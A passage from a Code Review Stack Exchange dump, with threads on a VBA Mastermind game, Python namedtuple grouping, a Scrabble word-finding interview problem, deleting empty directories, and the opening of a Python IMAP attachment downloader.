CopyMemoryI StartTempMasterGuessArray + OffsetII, VarPtr(NullGamePieceColor), 4
DetermineMatches.MatchesColor = DetermineMatches.MatchesColor + 1
Exit For
End If
Next OffsetII
End If
Next OffSetI
End Function
</code></pre>
<p><strong>NEW SELECT RANDOM COLOR FUNCTION:</strong></p>
<pre><code>Private Function RandomColor() As GamePieceColor
Dim RandomNumber As Long
RandomNumber = Int(Rnd * 5)
Select Case RandomNumber
Case 0
RandomColor = rgbBlack
Case 1
RandomColor = rgbBlue
Case 2
RandomColor = rgbGreen
Case 3
RandomColor = rgbRed
Case 4
RandomColor = rgbWhite
Case 5
RandomColor = rgbYellow
End Select
End Function
</code></pre>
| [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-20T21:05:58.417",
"Id": "431096",
"Score": "1",
"body": "Very nice! I love the game. I can see that you have been working hard at improving your coding skills and it is definitely paying off!!"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-28T17:17:45.020",
"Id": "432338",
"Score": "0",
"body": "@TinMan appreciate the support, this has been very fun! see the new determine matches functions in OP. I am putting up a website - bird photos, job stuff and excel posts. I will link to you when set up!!! It looks SICK :-p"
}
] | [
{
"body": "<p>The most obvious thing to me is the repetition in the code. I think that addressing the repetition, you can make this game scalable (change the number of guesses, change the number of pegs, change the number of colours).</p>\n\n<pre><code>Public Type GuessArray\n ColorOne As GamePieceColor\n ColorTwo As GamePieceColor\n ColorThree As GamePieceColor\n ColorFour As GamePieceColor\nEnd Type\n</code></pre>\n\n<p>becomes</p>\n\n<pre><code>Public Type GuessArray\n Color(MaxPegs-1) As GamePieceColor\nEnd Type\n</code></pre>\n\n<p><code>Private Function DetermineMatches(ByRef GuessArray As GuessArray) As ResponsePegs</code> is screaming out to be made not repetitive!</p>\n\n<p>At this stage, I would consider the use of Classes instead of Types because of inherent flexibility within VBA. This requires an understanding of the objects in the game. The game consists of a <em>Board</em>, which holds both the <em>MasterAnswer</em>, and the Moves; where each move consists of a <em>Guess</em> [<code>GuessArray</code>s which are individually coloured <em>Pegs</em>], and the <em>Result</em>. Looking at the code, you already have some good bones to work with. </p>\n\n<p>In removing repetition and improving both scability and maintainability, you would have to learn how to create arrays of controls in VBA Forms. For example <code>Private Sub D9_Click()</code> would be replaced by a function that looks a little more complicated, but only once instead of 36 times. Two websites (working as of today, cannot guarantee that they will not break in the future) that describe how to create a control array are <a href=\"http://www.siddharthrout.com/index.php/2018/01/15/vba-control-arrays/\" rel=\"nofollow noreferrer\">http://www.siddharthrout.com/index.php/2018/01/15/vba-control-arrays/</a> or <a href=\"https://bettersolutions.com/excel/macros/vba-control-arrays.htm\" rel=\"nofollow noreferrer\">https://bettersolutions.com/excel/macros/vba-control-arrays.htm</a> - Just search \"VBA Control Array\" in your favourite search engine.</p>\n\n<p><code>HideMasterGuessArray</code> and <code>UnhideMasterGuessArray</code> could be collapsed into a single sub:</p>\n\n<pre><code>Sub RevealMasterGuessArray(MasterGuessArrayVisible As Boolean)\n</code></pre>\n\n<p>I am not sure why ButtonColour and ButtonCaption codes are not aligned - one set of <code>Select</code> gives the corresponding assignment, the other gives a black/white assignment with no comment on how this apparently arbitrary assignment has been created. </p>\n\n<h2>Why use Excel?</h2>\n\n<p>As a final note: The only Excel function I could see in your code was <code>RandomNumber = Application.WorksheetFunction.RandBetween(0, 5)</code>, which could be replaced with VBA's <code>Rnd()</code> function (see: <a href=\"https://docs.microsoft.com/en-us/office/vba/language/reference/user-interface-help/rnd-function\" rel=\"nofollow noreferrer\">https://docs.microsoft.com/en-us/office/vba/language/reference/user-interface-help/rnd-function</a>). </p>\n\n<p>As such, Excel is not essential to your game, it is just a convenient coding platform. If possible, I would recommend you move to Visual Studio (even the free Community version) which will allow you to use VB.NET.</p>\n\n<p>VB.Net is a different language than VBA, but is also similar in so many ways, so your current logic doesn't require much work to change over. Some of the advantages:</p>\n\n<ul>\n<li>Better handling of custom controls and assigning handlers to arrays\nof controls meaning less repetition and better scalability.</li>\n<li>The ability to create a stand-alone program</li>\n<li>Better functionality and handling of Types, but I still prefer Classes!</li>\n<li>Better range of Collection-like classes that give more flexibility on creating a collection of general items (like <em>Moves</em> or controls that present <em>Moves</em>).</li>\n<li>Better alignment with Object-Oriented-Programming, so inheritance and implementation are more flexible.</li>\n<li>You will still practice the same coding principles, so your current learning path will continue with greater flexibility.</li>\n</ul>\n\n<p>There are times when using Excel (or Word or MS-Access) are great foundations for creating programs. I think, in this case, you have out-grown Excel. I originally did a MasterMind-type program (analysis, not a Game) in Visual Studio so I could learn about saving information in XML files!</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-27T21:46:13.197",
"Id": "432175",
"Score": "0",
"body": "Realized that determining matches can be done with use of pointers and copymemory - whole reason I did this procedurally was to get a c++ like experience. Time to really do the heavy lifting !"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-28T17:14:05.693",
"Id": "432337",
"Score": "0",
"body": "Fixed up determine matches function and swapped application.worksheetfunction.rndbetween for RND (see additions to OP) Next up - creating the array of controls. Thanks again."
}
],
"meta_data": {
"CommentCount": "2",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-21T01:14:50.277",
"Id": "222676",
"ParentId": "222658",
"Score": "2"
}
}
] | {
"AcceptedAnswerId": "222676",
"CommentCount": "2",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-20T20:05:35.897",
"Id": "222658",
"Score": "2",
"Tags": [
"game",
"vba",
"excel",
"winapi"
],
"Title": "Excel - Visual Basic For Applications - Mastermind Game"
} | 222658 |
<p>I have created a function which is used to create a list of named tuples. The tuple which is created is dependent on the format of 'instructions' in which there are 3 different formats. Instructions is just a list of lists. I wanted to improve the readability/maintainability of this function and had 3 ideas in mind but not sure how to implement them.</p>
<ol>
<li>Should the named tuple declarations live somewhere outside the function and be called in somehow?</li>
<li>Should list comprehensions be used?</li>
<li>Could this be set up using a factory pattern instead of using the if statements? How would that be done?</li>
</ol>
<p>Ignoring the naming convention as it's just generic... any further feedback would be much appreciated.</p>
<pre><code>instructions = [['1'],['2','bob','MATCH'],['3','alice','55']]
def assign_tuple_lists(instructions):
"""Creates named tuple lists from instructions"""
Items = namedtuple('Items', 'timestamp, user, action')
Cars = namedtuple('Cars', 'timestamp, user, reserve')
Timing = namedtuple('Timing', 'timestamp')
items = []
cars = []
timing = []
for instruction in instructions:
if len(instruction) < 2:
timing.append(Timing._make(instruction))
elif instruction[2] == 'MATCH':
cars.append(Cars._make(instruction))
else:
items.append(Items._make(instruction))
return timing, cars, items
</code></pre>
<p>Output:</p>
<pre><code>timing = [Timing(timestamp = '1')]
cars = [Cars(timestamp = '2',user = 'bob',reserve = 'MATCH')]
timing = [Item(timestamp = '3',user = 'alice',action = '55')]
</code></pre>
| [] | [
{
"body": "<p>You can make a separate method that decided which type the instruction is:</p>\n\n<pre><code>def get_parser(instruction):\n if len(instruction) < 2:\n return Timing\n if instruction[2] == 'MATCH':\n return Cars\n return Items\n</code></pre>\n\n<p>and then just use that:</p>\n\n<pre><code>def assign_tuple_lists2(instructions):\n \"\"\"Creates named tuple lists from instructions\"\"\"\n result = defaultdict(list)\n for instruction in instructions:\n parser = get_parser(instruction)\n result[parser.__name__].append(parser(*instruction))\n\n return result\n</code></pre>\n\n<p>this uses a <code>collections.defaultdict</code> instead of separate lists per type</p>\n\n<blockquote>\n<pre><code>defaultdict(list,\n {'Timing': [Timing(timestamp='1')],\n 'Cars': [Cars(timestamp='2', user='bob', reserve='MATCH')],\n 'Items': [Items(timestamp='3', user='alice', action='55')]})\n</code></pre>\n</blockquote>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-21T10:16:18.620",
"Id": "222696",
"ParentId": "222660",
"Score": "0"
}
}
] | {
"AcceptedAnswerId": "222696",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-20T21:09:24.523",
"Id": "222660",
"Score": "0",
"Tags": [
"python"
],
"Title": "Creating multiple lists of named tuples based on condition"
} | 222660 |
<p>This is a question I was asked in an interview, below is a cleaned-up copy of the answer I gave. Apparently this answer was not satisfactory. How can it be improved?</p>
<p><strong>Question:</strong> Given a dictionary of words (a text file with 100000+ entries) and a list of <code>n</code> letters with possible repeats (i.e. a Scrabble tray), return the list of words which can be formed from some or all of the letters in the tray.</p>
<p><div class="snippet" data-lang="js" data-hide="false" data-console="true" data-babel="true">
<div class="snippet-code">
<pre class="snippet-code-js lang-js prettyprint-override"><code>function scrabble(dictionary, tray) {
return dictionary.filter(w => isWordInTray(tray, w));
}
function isWordInTray(tray, word) {
// build multiset of letters in tray
let counts = {};
for (const letter of tray) {
if (counts[letter] === undefined) {
counts[letter] = 1;
} else {
counts[letter]++;
}
}
// take letters from the word and decrement tray count
for (const letter of word) {
if (counts[letter] > 0) {
counts[letter]--;
} else {
return false;
}
}
return true;
}
//---------------
// dictionary (full dictionary contains 178691 entries)
const dict = ['AA', 'ABSORBABILITIES', 'AD', 'ADD', 'BAD', 'DAD', 'FOO']; // ...
// test case
const exampleTray = ['D', 'D', 'A'];
console.log(scrabble(dict, exampleTray));
// expected correct answer (in any order)
// [ 'AD', 'ADD', 'DAD' ]</code></pre>
</div>
</div>
</p>
<p><strong>Caveats</strong></p>
<ul>
<li>The interviewer said that the problem was "kind of like Scrabble", this was the only mention of Scrabble. The size of the tray was given simply as <code>n</code> (it was described as a list of letters, not a tray).</li>
<li>The full dictionary was given to me as a text file, it is sorted and has 178691 entries. I've included a minimal subset which works with the test case I was given in the interview.</li>
<li><code>counts</code> is a hashtable but I could have used a 26-element array instead to get O(1) inserts and lookups which improves the worst case from O(n), but n = 26, so it's not a big deal.</li>
<li>I'm not looking for micro-optimizations for special cases: I'm only seeking to decrease the big-O worst case complexity.</li>
</ul>
<h2>Alternative Approaches</h2>
<p>These are the other approaches which spring to mind:</p>
<p><strong>Approach 2: Generate all words</strong></p>
<p>The opposite approach is to generate all words from the tiles and look them up in the dictionary, but if we treat the tray as a multiset of letters then the number of words we will generate is a <a href="https://en.wikipedia.org/wiki/Permutation#Permutations_of_multisets" rel="nofollow noreferrer">multiset permutation</a> and that's just for the case where len(word) = len(tiles) without considering all the shorter words which can be formed.</p>
<p>The size of the tray was given as <code>n</code>, while in the game of Scrabble it's at most 7 (news to me as I don't play Scrabble), the interviewer never gave this restriction, so presumably max(n) = max(len(word) in dict) which is "ABSORBABILITIES" at 15 letters. That's going to be a huge search space. I asked what <code>n</code> was and he said "anything".</p>
<p>If my understanding is correct, the worst case for multiset permutations is when each letter in the tray is unique, because this is simply the number of permutations which is <code>n!</code>. Again, this doesn't account for the need to also find words shorter than the tray length.</p>
<p><code>7! = 5040</code>, so for an actual Scrabble tray, generating all words is feasible, but at <code>9!</code> we've generated more words than are in our dictionary and by <code>15!</code> there's over a trillion.</p>
<p><strong>Approach 3: Use a trie?</strong></p>
<p>When I see words being looked up in a dictionary, I think of a trie (prefix tree). What I can't see is what it would offer in this case, especially w.r.t big-O worst case complexity.</p>
<p>Is there something I'm totally missing?</p>
<p><strong>Big-O</strong></p>
<p>Assuming that all words are of length <code>w</code> and the tray is also that length, the dictionary is of length <code>n</code>, and there are no anagrams; the complexity should be <code>O(n*w)</code>.</p>
<p>(This also assumes that <code>counts</code> is replaced with an array as mentioned above.)</p>
| [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-20T23:06:47.760",
"Id": "431108",
"Score": "0",
"body": "@ggorlen Please add an answer instead of a comment. Refer to the section **When _shouldn't_ I comment?** on [Comment everywhere](https://codereview.stackexchange.com/help/privileges/comment)."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-20T23:20:06.317",
"Id": "431110",
"Score": "0",
"body": "@SᴀᴍOnᴇᴌᴀ removed--thanks."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-21T19:57:23.283",
"Id": "431242",
"Score": "0",
"body": "You have \"a text file with 100000+ entries\" and you want to assume there are no anagrams?"
}
] | [
{
"body": "<p>The way to use a trie here is to sort the letters of each dictionary word:</p>\n\n<p><code>[ AD, ADD, DAD ]</code> becomes <code>A > D [ ad ] > D [ add, dad ]</code></p>\n\n<p>Then walk the trie and <em>stop descending</em> when <code>isWordInTray</code> returns false.</p>\n\n<p>Worst-case complexity is unchanged (arguably worse, since sorting time is not linear); actual runtime is greatly improved.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-20T23:19:42.240",
"Id": "431109",
"Score": "0",
"body": "Just building the trie should be O(len(dictionary) * len(longest_word_in_dict)) and seems a step backwards from building the result immediately. If there were repeated lookups, then there'd be benefit to the up-front cost, but that doesn't appear to be part of the problem description."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-21T06:41:16.187",
"Id": "431149",
"Score": "1",
"body": "Nice to see a concrete description of Idea 3. I agree that it doesn't help the overall complexity."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-21T12:24:24.707",
"Id": "431187",
"Score": "1",
"body": "@ggorlen OP's solution visits each dictionary letter once and was deemed unacceptable. We have to conclude there is more to the problem. Given the nature of the problem and the \"kind of like Scrabble\" hint, I think a reasonable interpretation is \"lookups should be efficient even if setup is not.\""
}
],
"meta_data": {
"CommentCount": "3",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-20T23:10:56.690",
"Id": "222667",
"ParentId": "222661",
"Score": "2"
}
},
{
"body": "<p>I have previously looked at this problem - many years ago. The first step is to create an indexed list of all the words in the dictionary, with the characters sorted in alphabetical order. This is a one-off cost O(n) [Where n in this case is the size of the dictionary, not the number of letters in the Scrabble tray].</p>\n\n<p>Now, for each search of <em>n</em> letters, you can filter the list where the list element contains any letter that does not exist in the Scrabble tray. For example, if you had <em>DDA</em> in your hand, the word <em>DEAD</em> would be excluded because <em>E</em> does not exist in your hand. This should be O(n) [Where n in this case is the size of the dictionary, not the number of letters in the Scrabble tray].</p>\n\n<p>The indexing/ordering of letters in the dictionary can be used to your advantage (especially if you use a jagged list), because some words are anagrams of others. So a check of the list for <em>DALE</em>, <em>DEAL</em>, <em>LADE</em> and <em>LEAD</em> should only cost one cycle in the search - four words for one! In addition, if your lowest character in your hand is not <em>A</em> (e.g. say it is <em>M</em>), you can use the indexing on the first character to remove a large swath of words in a single hit - similarly for the highest character in hand (e.g. if the highest character is <em>D</em>, you can stop searching the index when the first character is <em>E</em>).</p>\n\n<p>So now, if you are doing a single search, your cost is at most O(2n), but probably more in the order of O(n + k*n/2). where k is the number of searches you will do. Happy to be corrected on my assessment of O because it has been a few decades since I last looked at formal definitions of O.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-21T12:19:03.210",
"Id": "431186",
"Score": "0",
"body": "@JohnHewson did the interviewer specifically say that big-O complexity is your problem? Unlikely, since it's not possible to do better than linear in the count of letters, which you've accomplished already. It's important to understand that big-O complexity is not the last word on efficiency. Hash insertion is worst-case `O(n)` and we still use those every day."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-21T19:53:24.813",
"Id": "431240",
"Score": "0",
"body": "@JohnHewson - No - sorting the list of words in done only once. And with a smart search (which is why sorting the list is a help) is probably Log(n) or n/2. Your interviewer was probably looking for something other than brute force and the approach I have listed above opens up scalability, maintainability and extensibility. The approach above allows the introduction of 'blank tiles' with a little bit of thought, can allow for other wildcard efforts (what if other tiles such as H, X or Z are on the board), and can also be used in other word games including crosswords."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-22T17:37:47.747",
"Id": "431342",
"Score": "0",
"body": "@OhMyGoodness They didn't, I agree that it mustn't have been a big-O issue. The average case is so much better than the worst case here, as you say. Did three interviews in quick succession last week and this was the least structured of them by far."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-22T18:07:53.493",
"Id": "431352",
"Score": "0",
"body": "@ADJ I checked the sorts and as you say, other sorting algorithms, such as heap sort `O(w log w)` outperform counting sort `O(w+k)` when `k=26` and `w=15`. So your sort of word letters for the full dictionary will be `O(n*(w log w))`.\n\nDoing the sort only once does amortize its cost, but filtering it based on the tray letters is still `O(n*w)` because you have to look at each letter of each word in the dictionary. So you've done up-front work and still have a runtime no better than we began with."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-22T22:38:23.770",
"Id": "431383",
"Score": "0",
"body": "@JohnHewson - No, you do not have to look at each letter in the word. Assume you have ADD in your tiles, and the dictionary word is LEAD. Then your search is A, D, E (fail). If the dictionary word is EGG or GLUE/EGLU, then you can fail even before you get to check the word (E - the lowest char in both words, is >D, the greatest char in your tiles) or you can fail on the first char. This is the point, with both array of char normalised, you short cut the overall search. You are still thinking brute force!"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-23T00:04:06.457",
"Id": "431385",
"Score": "0",
"body": "As with the other answer, I'm not seeing any improvement on the OP solution unless multiple lookups are performed, which isn't part of the problem. *\"The first step is to create an indexed list of all the words in the dictionary, with the characters sorted in alphabetical order\"* and we're already doing more or equal work to OP soln. Any solution that visits every letter in the dictionary is equal or worse to the proposed soln from a time complexity standpoint."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-23T06:17:44.307",
"Id": "431402",
"Score": "0",
"body": "@ggorlen: Even if we except that this code is only going to be run once (hence indexing the dictionary is not required), the other aspects of the algorithm such as early failure as soon as a letter in the dictionary word does not exist in the tray, and using an alphabetised tray to eliminate many words on the first character, are still valid. In context, this is an interview question, so an underlying theme is not only problem solving for a single problem, but being able to generalise for a business environment, or maintain that solution for variants of the problem."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-23T06:18:26.870",
"Id": "431403",
"Score": "0",
"body": "@ggorlen - looking forwards to seeing your review here as well."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-23T06:30:00.687",
"Id": "431405",
"Score": "1",
"body": "I agree, there is room for non-big O optimizations as the post acknowledged, and yours are good suggestions. My opinion is that OP already has an optimal time complexity, and either the reviewer was playing poker face, didn't realize it was already optimal, wanted OP to ask more questions to reveal that in fact there were to be multiple queries, or wanted non-big O optimizations to be performed."
}
],
"meta_data": {
"CommentCount": "9",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-21T00:22:56.663",
"Id": "222672",
"ParentId": "222661",
"Score": "1"
}
}
] | {
"AcceptedAnswerId": null,
"CommentCount": "3",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-20T21:09:51.733",
"Id": "222661",
"Score": "6",
"Tags": [
"javascript",
"algorithm",
"interview-questions"
],
"Title": "Find matching dictionary words given a Scrabble tray"
} | 222661 |
<p>I'm an intern and have an ETL project I'm doing in python.</p>
<p>Part of it is to make sure after I move files I delete empty directories. </p>
<p>I wrote this code to clean up directories that are empty and in testing it works for me but I want to make sure it won't end up deleting folders full of files.</p>
<pre><code>def folderCleanup(p_rootPath):
for r, dirs, files in os.walk(p_rootPath):
for folder in dirs:
if len(os.listdir(os.path.join(r, folder))) == 0: #Checks if the folders have anything in them
shutil.rmtree(os.path.join(r, folder))
elif hasFile(os.path.join(r, folder)): #Checks if a subfolder will have a file in it
pass
else:
shutil.rmtree(os.path.join(r, folder),ignore_errors=True)
#end if
#end for
#end for
#end def
def hasFile(p_path): #Returns true if the given directory or any of its children directories have a file in them
for r, d, f in os.walk(p_path):
if len(f) > 0:
if len(f) == 1 and f[0] == 'Thumbs.db':
continue
else:
return True
#end if
#end if
#end for
return False
#end def
</code></pre>
<p>I am just looking for some feedback and whether there are any potential problems with this code. </p>
| [] | [
{
"body": "<p>I didnt check the correctness of code, but... </p>\n\n<p>Small tips on comments:</p>\n\n<ol>\n<li><p>Don't write <code>#end if</code>. You have identation. Why do you need it?</p></li>\n<li><p>Comments for functions should look like</p></li>\n</ol>\n\n<pre><code>def hasFile(p_path):\n \"\"\"Returns true if the given directory or any of its children directories have a file in them\"\"\"\n for r, d, f in os.walk(p_path):\n</code></pre>\n\n<p><a href=\"https://saddlebackcss.github.io/tutorials/python/basic/2016/01/14/python-basics-4\" rel=\"nofollow noreferrer\">https://saddlebackcss.github.io/tutorials/python/basic/2016/01/14/python-basics-4</a></p>\n\n<p>Methods should be called like <code>folder_cleanup</code>and <code>has_file</code>. See <a href=\"https://visualgit.readthedocs.io/en/latest/pages/naming_convention.html\" rel=\"nofollow noreferrer\">https://visualgit.readthedocs.io/en/latest/pages/naming_convention.html</a></p>\n\n<p>Do not name variables like this <code>for r, d, f in os.walk(p_path):</code>. Make names more meaningfull </p>\n\n<p>Try to reduce nesting, may be using early return</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-07-16T07:22:55.697",
"Id": "224272",
"ParentId": "222662",
"Score": "2"
}
},
{
"body": "<p>I support all comments in <a href=\"https://codereview.stackexchange.com/a/224272/47529\">xander27's answer</a>, especially RE indentation vs <code>#end</code>. With regards to naming, I'll add one additional comment - instead of giving a name to a variable you never use, just name it <a href=\"https://stackoverflow.com/a/5893946/3076272\"><code>_</code></a></p>\n\n<hr>\n\n<p>Your <code>hasFile</code> implementation could be much simpler; what you really want is <a href=\"https://docs.python.org/2/library/functions.html#any\" rel=\"nofollow noreferrer\"><code>any</code></a></p>\n\n<pre><code>return any(len(file_list) > 0 and not (len(file_list) == 1 and file_list[0] == \"Thumbs.db\") for _, _, file_list in os.walk(p_path))\n</code></pre>\n\n<p>That's a little verbose, so I'll split it up into two functions.</p>\n\n<pre><code>def file_list_has_file(file_list):\n return len(file_list) > 0 and not (\n len(file_list) == 1 and file_list[0] == \"Thumbs.db\"\n )\n\ndef has_file(p_path):\n return any(\n file_list_has_file(file_list)\n for _, _, file_list in os.walk(p_path)\n )\n</code></pre>\n\n<hr>\n\n<p>You can improve performance/correctness by modifying <code>dirs</code>; from <a href=\"https://docs.python.org/2/library/os.html#os.walk\" rel=\"nofollow noreferrer\">the documentation</a> (emphasis mine):</p>\n\n<blockquote>\n <p>When <code>topdown</code> is <code>True</code>, the caller can modify the <code>dirnames</code> list in-place, and <code>walk()</code> will only recurse into the subdirectories whose names remain in <code>dirnames</code>; this can be used to prune the search, impose a specific order of visiting, or even to inform <strong><code>walk()</code> about directories the caller creates or renames before it resumes <code>walk()</code> again.</strong></p>\n</blockquote>\n\n<p>Once you <code>shutil.rmtree</code> a directory, you should take it out of the list so that <code>os.walk</code> doesn't bother continuing to recurse. This is fine if you keep your current approach, but I think I have a better option in my next section.</p>\n\n<hr>\n\n<p>When you look even closer at <code>folderCleanup</code> and <code>hasFile</code>, you realize that they're <em>basically</em> the same function - one checks if there are any files in the directory, while the other checks if there are any folders in the directory and if so recurses (effectively, not literally). This is actually really weird when you realize that <code>os.walk</code> <strong>already</strong> traverses all subdirectories; by doing it again in <code>hasFiles</code> you're really just confusing things. Ultimately, a directory is empty if two things are true:</p>\n\n<ol>\n<li>It has no files (except <code>\"Thumbs.db\"</code>) <strong>and</strong></li>\n<li>It has no non-empty directories</li>\n</ol>\n\n<p>We already have all of the information to determine whether or not this is true, and we can do so like this:</p>\n\n<ol>\n<li>Get the directories, <strong>bottom-up</strong> instead of <strong>top-down</strong></li>\n<li>If the directory meets the requirements, keep track of it</li>\n<li>Once you've categorized all of them, clean house.</li>\n</ol>\n\n<p>You don't necessarily have to get the full list of them before you clean things if you use a generator, like so:</p>\n\n<pre><code>def directory_has_files(files):\n return len(files) > 0 and not (\n len(files) == 1 and files[0] == \"Thumbs.db\"\n )\n\ndef directory_has_nonempty_subdirectories(\n path, subdirectories, cache\n):\n return any(\n cache[os.path.join(path, subdirectory)]\n for subdirectory in subdirectories\n )\n\ndef find_empty_directories(root_path):\n cache = defaultdict(lambda _: False)\n for root, subdirectories, files in os.walk(\n rootpath, topdown=False\n ):\n has_files = directory_has_files(files)\n if not subdirectories:\n cache[root] = has_files\n else:\n cache[\n root\n ] = directory_has_nonempty_subdirectories(\n root, subdirectories, cache\n )\n\n if not cache[root]:\n yield root\n\ndef remove_empty_directories(root_path):\n for empty_directory in root_path:\n shutil.rmtree(empty_directory, ignore_errors=True)\n</code></pre>\n\n<p>You may notice that I've used <a href=\"https://docs.python.org/2/library/collections.html#collections.defaultdict\" rel=\"nofollow noreferrer\"><code>defaultdict</code></a> to make it a bit easier to find out if something is known to be empty. Otherwise, I'm taking advantage of the bottom-up approach to avoid having to calculate something repeatedly on the way down.</p>\n\n<p>If you don't want to issue as many <code>shutil.rmtree</code> commands, you could make it a bit more clever, and only report the highest-level empty directory. For example, you could do this at the end of <code>find_empty_directories</code> to not report until you find a non-empty, and then do the children that are empty.</p>\n\n<pre><code>if cache[root]:\n for subdirectory in subdirectories:\n subpath = os.path.join(root, subdirectory) \n if cache[subpath]:\n yield subpath\n</code></pre>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-09-06T15:51:57.687",
"Id": "227580",
"ParentId": "222662",
"Score": "2"
}
}
] | {
"AcceptedAnswerId": null,
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-20T21:11:23.460",
"Id": "222662",
"Score": "5",
"Tags": [
"python",
"python-2.x",
"file-system",
"windows"
],
"Title": "Program to delete directories that do not contain a file"
} | 222662 |
<p>Below is the code of a command line tool built with Python that will download email via IMAP.</p>
<p>Omitted from the code below are 2 important functions <code>parse_line</code> and <code>server_login</code>. </p>
<p><code>parse_line</code> takes a string containing data and returns the email and password from that string as a dictionary.<br>
<code>server_login</code> tries to log in to the IMAP server with the supplied credentials. It changes the default socket timeout, so any code you see below related to socket timeouts is related to this function.</p>
<p><strong>Note: these functions can be found in the github repository if someone needs them to better understand the code, but I'd rather people focus on just the provided code.</strong></p>
<p>Here is a link to the complete program: <a href="https://github.com/choket/imap-email-downloader/tree/8d12fcddafa55a8fb3b3435c64fa67ed4252e9c3" rel="nofollow noreferrer">https://github.com/choket/imap-email-downloader</a><br>
Any feedback related to the github project is also welcome.</p>
<p>The purpose if this program is to be used as a command line utility, as well as being easily integrable into other python projects.</p>
<pre><code>#!/usr/bin/env python3
# MIT License https://opensource.org/licenses/MIT
#
# Copyright (c) 2019 Stefan Stojanovski https://github.com/choket
# WEIRD INDEXES EXPLANATION:
# imaplib's fetch() command returns the server response in a weirdly formatted way.
# It returns a tuple containing the server's response status and response data.
# Then additionally, the response data is actually a list containing some metadata and the data itself.
# So, depending on what data was fetch()'ed, we need to dig through the response accordingly to find the actual data
import argparse
import base64
import imaplib
import os
import re
import socket
import sys
import time
from typing import Union, Optional
from parse_line import parse_line
from server_login import server_login, email_scraper_errors, login_error, connection_error
class server_error(email_scraper_errors):
def __init__(self, message):
self.message = message
def __str__(self):
return self.message
def _count_lines(
filename: str
):
"""
Returns number of lines in a file in an optimized way. Useful for big files
:param filename: Path to file
:return: Number of lines
:raise IOError: If the file couldn't be opened
"""
lines = 0
buf_size = 1024 * 1024
with open(filename, "rb") as f:
read_content = f.read(buf_size)
while read_content:
lines += read_content.count(b"\n")
read_content = f.read(buf_size)
return lines
def _download_email_attachments(
server: Union[imaplib.IMAP4, imaplib.IMAP4_SSL],
email_number: str,
output_dir: Optional[str] = "attachments"
):
"""Download the attachments of an email
:param server: imaplib object which is logged in and has a mailbox selected
:param email_number: Number of the email whose attachments to download
:param output_dir: Directory where to output the attachments
:return: None
"""
# output_dir is converted to bytes so that the attachment name, which is bytes, can be appended to it
output_dir = bytes(output_dir, encoding="utf-8")
status, body_structure = server.fetch(email_number, "(BODYSTRUCTURE)")
# See comment at start of file for explanation about the indexes
body_structure = body_structure[0]
# body_structure has the attachment filenames in the form of(including quotes): <other_data> ("attachment" ("filename" "<filename>" <other_data>
# This is a relatively primitive way to search for the attachment filenames
filename_pattern = re.compile(rb'\("attachment" \("filename" "(.+?)"')
found_attachments = filename_pattern.findall(body_structure)
num_attachments = len(found_attachments)
for i, attachment_name in enumerate(found_attachments, 1):
charset = "utf-8"
# Check if attachment name contains non utf-8 characters
if attachment_name.startswith(b"=?"):
# The attachment name can consist of multiple sections each encoded with different charsets
attachment_section_pattern = re.compile(rb"=\?(.+?)\?=(?: |$)")
attachment_name_sections = attachment_section_pattern.findall(attachment_name)
attachment_name = b""
for attachment_name_section in attachment_name_sections:
charset, encoding_type, attachment_name_part = attachment_name_section.decode().split("?")
attachment_name_part = bytes(attachment_name_part, encoding="utf-8")
# attachment_name_part will either be Base64 or Query string encoded
# Base64 encoding
if encoding_type == "B":
attachment_name += base64.b64decode(attachment_name_part)
# Query string encoding, where non utf-8 bytes are encoded as their hexadecimal value, prepended by an "=" sign, for example: =D3
elif encoding_type == "Q":
# Function that will convert the hex value from the regex search to a byte
hex_to_byte = lambda regex_match: bytes.fromhex(regex_match.group(1).decode())
attachment_name += re.sub(rb"=([0-9A-F]{2})", hex_to_byte, attachment_name_part)
status, attachment_data_container = server.fetch(email_number, "(BODY[{}])".format(i + 1))
# TODO Check if response == "OK"
# See comment at start of file for explanation about the indexes
attachment_data_b64 = attachment_data_container[0][1]
attachment_raw_data = base64.b64decode(attachment_data_b64)
# Replace invalid filename characters underscores
for char in (b">", b"<", b":", b"\"", b"/", b"\\", b"|", b"?", b"*"):
if char in attachment_name:
attachment_name = attachment_name.replace(char, b"_")
try:
os.makedirs(output_dir, exist_ok=True)
except PermissionError:
raise PermissionError("Could not create {}, invalid permissions".format(output_dir))
